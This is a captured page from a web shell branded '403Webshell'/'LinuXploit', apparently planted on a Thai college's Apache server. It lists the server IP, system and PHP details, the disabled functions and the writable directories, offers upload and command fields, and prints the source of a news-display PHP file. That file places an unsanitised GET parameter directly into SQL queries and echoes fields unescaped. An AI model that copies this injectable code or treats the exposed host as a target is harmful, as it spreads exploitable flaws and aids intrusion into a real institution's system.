403Webshell
Server IP : 202.29.229.35  /  Your IP : 3.139.64.42
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/pdNews_Showdetail.php
<?php 
	//error_reporting(0);
	//session_start();
	include('connect/connect.php');
	/*include('connect/function.php');
	*/

					$dpN_ID=$_GET['dpN_ID'];
			//echo "---++".$wrokID;
					$sql="select * from tbl_dpnews where dpN_ID='$dpN_ID' ";
					$result=mysqli_query($connect1,$sql);
					$num_cd=mysqli_num_rows($result);
					$rs=mysqli_fetch_assoc($result);
					
					$dpN_Fiel=$rs['dpN_Fiel'];
					$dp_ID=$rs['dp_ID'];
					
				/*
					//ชื่อกลุ่มงาน
					$sqlwork="select * from tbl_departmentall where daNodpt='$dp_ID' ";
					$resqlwork=mysql_query($sqlwork);
					$rswork=mysql_fetch_array($resqlwork);

              		$workname = $rswork['daFname'];
					*/	
						
					$queryperlogin = "select * from tbl_datatecher1 where tecNumber='$dp_ID' ";
					//echo "=>".$queryperlogin."<br>";
					$resultperlogin=mysqli_query($connect1,$queryperlogin);
					$rsperteclogin=mysqli_fetch_assoc($resultperlogin);
					$selectworklogin = $rsperteclogin['selectwork'];//กลุ่มงาน
					//echo "==>".$selectworklogin;
					//ชื่อกลุ่มงาน
						$sqlworklogin="select * from tbl_departmentall where daNodpt='$selectworklogin' ";
						$resqlworklogin=mysqli_query($connect1,$sqlworklogin);
						$rsworklogin=mysqli_fetch_assoc($resqlworklogin);
						$worknamelogin = $rsworklogin['daFname'];
						
   						$workname=$worknamelogin;	
					
	?>
    <div class="box">
  	<div style="width: 100%;">
    
     <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td><div class="fdefault fbold txt-topic display-inline-block" style="width: 260px;">ข่าวประชาสัมมพันธ์</div></td>
        <td align="right" valign="top"><div class="fgray" style="line-height: 20px;"> <a href="?i=pdNews"  class="link-orange">ย้อนกลับ...</a></div></td>
      </tr>
    </table>
    <div class="line-bottom-green display-inline-block" style="width: 700px;"></div>
    <div class="link-default-org" style="margin-bottom: 5px; padding:5px">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr>
    <td width="795" height="28" align="right" valign="middle">&nbsp;</td>
  </tr>
  <tr>
    <td height="28" align="left" valign="middle"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td valign="middle"><center><B><?php echo $rs['dpN_Title'];?></B></center>
          <hr width="100%">
          <p style="text-align:justify">
          &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <?php echo $rs['dpN_Detail'];?></p>
          <hr width="100%">
          <font color="#0099FF"><i>เขียนโดย : <?php echo $workname;?></i></font>
          <table width="600" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="129"><font color="#666666"><i>ไฟล์ที่เกี่ยวข้อง :</i>&nbsp;</font></td><?php if($rs['fileName1'] !=""){ ?>
              <td width="371" style="border-bottom:#333333 dotted 1px"><font color="#666666"><?php echo $rs['fileName1'];?></font></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><font color="#666666">
                <?php if($rs['dpN_Fiel'] !=""){ ?>
                  <a href="system_admin/file_dpNews/<?php echo $rs['dpN_Fiel'];?>" target="_blank"><img src="images/icon-download.gif" width="100" border="0" /></a>
                  <?php }else{ echo ""; }?>
              </font></td><?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="129">&nbsp;</td><?php if($rs['fileName2'] !=""){ ?>
              <td width="371" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName2'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel2'] !=""){ ?>
                <a href="system_admin/file_dpNews/<?php echo $rs['dpN_Fiel2'];?>" target="_blank"><img src="images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td><?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="129">&nbsp;</td><?php if($rs['fileName3'] !=""){ ?>
              <td width="371" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName3'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel3'] !=""){ ?>
                <a href="system_admin/file_dpNews/<?php echo $rs['dpN_Fiel3'];?>" target="_blank"><img src="images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td><?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="129">&nbsp;</td><?php if($rs['fileName4'] !=""){ ?>
              <td width="371" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName4'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel4'] !=""){ ?>
                <a href="system_admin/file_dpNews/<?php echo $rs['dpN_Fiel4'];?>" target="_blank"><img src="images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td><?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="129">&nbsp;</td><?php if($rs['fileName5'] !=""){ ?>
              <td width="371" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName5'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel5'] !=""){ ?>
                <a href="system_admin/file_dpNews/<?php echo $rs['dpN_Fiel5'];?>" target="_blank"><img src="images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td><?php }else{ echo ""; }?>
            </tr>
          </table>
          <font color="#666666">&nbsp;</font><br>
          &nbsp; &nbsp;<br>
          &nbsp; &nbsp;<br>
          &nbsp; &nbsp;&nbsp;<br>
          &nbsp; &nbsp;&nbsp;<br></td>
      </tr>
  </table></td>
  </tr>
</table>
    </div>
  </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit